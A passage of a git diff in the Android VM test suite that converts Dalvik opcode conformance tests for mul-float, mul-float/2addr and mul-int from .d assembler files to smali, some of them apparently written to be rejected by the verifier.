-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_float_2.java
-.class public dot.junit.opcodes.mul_float.d.T_mul_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       mul-float v0, v6, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_2.smali
new file mode 100644
index 0000000..b5d27a3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_2.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float v0, v6, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_3.d
deleted file mode 100644
index 13a31f3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_float_3.java
-.class public dot.junit.opcodes.mul_float.d.T_mul_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FD)F
-.limit regs 8
-
-       mul-float v0, v5, v6
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_3.smali
new file mode 100644
index 0000000..aa0fb9e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_3.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)F
+.registers 8
+
+       mul-float v0, v5, v6
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_4.d
deleted file mode 100644
index a92ef8f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_float_4.java
-.class public dot.junit.opcodes.mul_float.d.T_mul_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JF)F
-.limit regs 8
-
-       mul-float v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_4.smali
new file mode 100644
index 0000000..692b4b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_4.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)F
+.registers 8
+
+       mul-float v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_5.d
deleted file mode 100644
index 9f99d59..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_mul_float_5.java
-.class public dot.junit.opcodes.mul_float.d.T_mul_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       mul-float v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_5.smali
new file mode 100644
index 0000000..3d8c8da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_5.smali
@@ -0,0 +1,18 @@
+.source "T_mul_float_5.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_6.d
deleted file mode 100644
index 7b3b61a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_mul_float_6.java
-.class public dot.junit.opcodes.mul_float.d.T_mul_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)F
-.limit regs 8
-
-       mul-float v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_6.smali
new file mode 100644
index 0000000..053c077
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_6.smali
@@ -0,0 +1,18 @@
+.source "T_mul_float_6.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)F
+.registers 8
+
+       mul-float v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1.d
deleted file mode 100644
index 05faaba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_mul_float_2addr_1.java
-.class public dot.junit.opcodes.mul_float_2addr.d.T_mul_float_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       mul-float/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1.smali
new file mode 100644
index 0000000..171c848
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1.smali
@@ -0,0 +1,18 @@
+.source "T_mul_float_2addr_1.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2.d
deleted file mode 100644
index 11fef7b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_float_2addr_2.java
-.class public dot.junit.opcodes.mul_float_2addr.d.T_mul_float_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       mul-float/2addr v6, v8
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2.smali
new file mode 100644
index 0000000..a1792fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_2addr_2.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float/2addr v6, v8
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3.d
deleted file mode 100644
index 9d83fef..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_float_2addr_3.java
-.class public dot.junit.opcodes.mul_float_2addr.d.T_mul_float_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FD)F
-.limit regs 8
-
-       mul-float/2addr v5, v6
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3.smali
new file mode 100644
index 0000000..dc466d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_2addr_3.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)F
+.registers 8
+
+       mul-float/2addr v5, v6
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4.d
deleted file mode 100644
index eebb510..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_float_2addr_4.java
-.class public dot.junit.opcodes.mul_float_2addr.d.T_mul_float_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JF)F
-.limit regs 8
-
-       mul-float/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4.smali
new file mode 100644
index 0000000..3a36fae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_2addr_4.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)F
+.registers 8
+
+       mul-float/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5.d
deleted file mode 100644
index 03a888b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_mul_float_2addr_5.java
-.class public dot.junit.opcodes.mul_float_2addr.d.T_mul_float_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       mul-float/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5.smali
new file mode 100644
index 0000000..2cdbe46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5.smali
@@ -0,0 +1,18 @@
+.source "T_mul_float_2addr_5.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6.d
deleted file mode 100644
index 67cccbd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_mul_float_2addr_6.java
-.class public dot.junit.opcodes.mul_float_2addr.d.T_mul_float_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)F
-.limit regs 8
-
-       mul-float/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6.smali
new file mode 100644
index 0000000..bc0ee93
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6.smali
@@ -0,0 +1,18 @@
+.source "T_mul_float_2addr_6.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)F
+.registers 8
+
+       mul-float/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_1.d
deleted file mode 100644
index 3b4a63f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_1.java
-.class public dot.junit.opcodes.mul_int.d.T_mul_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 9
-
-       mul-int v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_1.smali
new file mode 100644
index 0000000..1771cb0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_1.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 9
+
+       mul-int v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_2.d
deleted file mode 100644
index ed71fa1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_2.java
-.class public dot.junit.opcodes.mul_int.d.T_mul_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       mul-int v0, v7, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_2.smali
new file mode 100644
index 0000000..42bdb5c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       mul-int v0, v7, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_3.d
deleted file mode 100644
index 059f7b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_3.java
-.class public dot.junit.opcodes.mul_int.d.T_mul_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 9
-
-       mul-int v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_3.smali
new file mode 100644
index 0000000..b653287
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_3.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 9
+
+       mul-int v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_4.d
deleted file mode 100644
index 67c0e37..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_4.java
-.class public dot.junit.opcodes.mul_int.d.T_mul_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
